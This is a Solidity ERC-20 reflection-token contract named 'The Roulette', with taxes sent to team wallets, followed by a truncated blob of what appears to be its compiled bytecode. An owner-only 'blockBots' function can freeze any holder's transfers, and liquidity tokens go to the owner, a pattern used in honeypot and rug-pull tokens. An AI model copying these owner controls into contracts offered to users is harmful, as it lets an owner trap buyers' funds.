_msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TheRoulette is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "The Roulette"; string private constant _symbol = "The Roulette"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600c81526020017f54686520526f756c657474650000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f54686520526f756c657474650000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506002600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c05826131